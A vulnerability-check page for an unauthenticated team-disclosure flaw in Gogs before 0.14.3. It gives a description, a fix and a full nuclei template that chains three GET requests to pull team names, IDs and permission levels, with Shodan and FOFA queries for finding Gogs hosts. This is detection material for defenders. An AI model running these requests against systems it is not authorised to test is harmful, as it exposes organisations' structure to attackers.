Gogs < 0.14.3 - Unauthenticated Organization Teams Disclosure

lowseverity

4.3CVSS score

1.5%likelihood of exploitation, next 30 days

74%of all CVEs are less likely

Readycheck to confirm it

Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.

Impact

An unauthenticated attacker can enumerate all teams within any organization including private teams, discover permission levels, map organizational structure, and identify high-value admin and owner teams for targeted attacks.

Fix

Update Gogs to version 0.14.3 or later.

How to confirm it

Send: GET {{BaseURL}}/api/v1/repos/search?limit=1
Positive when: status_code == 200 and contains(content_type, "application/json")
Send: GET {{BaseURL}}/api/v1/orgs/{{orgname}}
Positive when: status_code == 200 and contains_all(body, "\"username\"", "\"full_name\"")
Send: GET /api/v1/orgs/{{orgname}}/teams
Positive when: status_code == 200 and contains_all(body, "\"id\"", "\"name\"", "\"permission\"") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2026-52815 -u <target>

The full check

id: CVE-2026-52815

info:
  name: Gogs < 0.14.3 - Unauthenticated Organization Teams Disclosure
  author: 0x_Akoko
  severity: low
  description: |
    Gogs before version 0.14.3 contains an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint returns all teams for any organization without requiring authentication. The route group lacks the reqToken() middleware, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.
  impact: |
    An unauthenticated attacker can enumerate all teams within any organization including private teams, discover permission levels, map organizational structure, and identify high-value admin and owner teams for targeted attacks.
  remediation: |
   Update Gogs to version 0.14.3 or later.
  reference:
    - https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56
    - https://nvd.nist.gov/vuln/detail/CVE-2026-52815
  classification:
    cvss-metrics: "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
    cvss-score: 4.3
    cve-id: CVE-2026-52815
    epss-score: 0.01488
    epss-percentile: 0.74283
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 3
    vendor: gogs
    product: gogs
    shodan-query: 'http.title:"Gogs"'
    fofa-query: title="Gogs"
  tags: cve,cve2026,gogs,exposure,unauth

flow: http(1) && http(2) && http(3)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/repos/search?limit=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        internal: true
        condition: and

    extractors:
      - type: regex
        name: orgname
        part: body
        group: 1
        regex:
          - '"username"\s*:\s*"([^"]+)"'
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/api/v1/orgs/{{orgname}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"username\"", "\"full_name\"")'
        internal: true
        condition: and

  - raw:
      - |
        GET /api/v1/orgs/{{orgname}}/teams HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"id\"", "\"name\"", "\"permission\"")'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from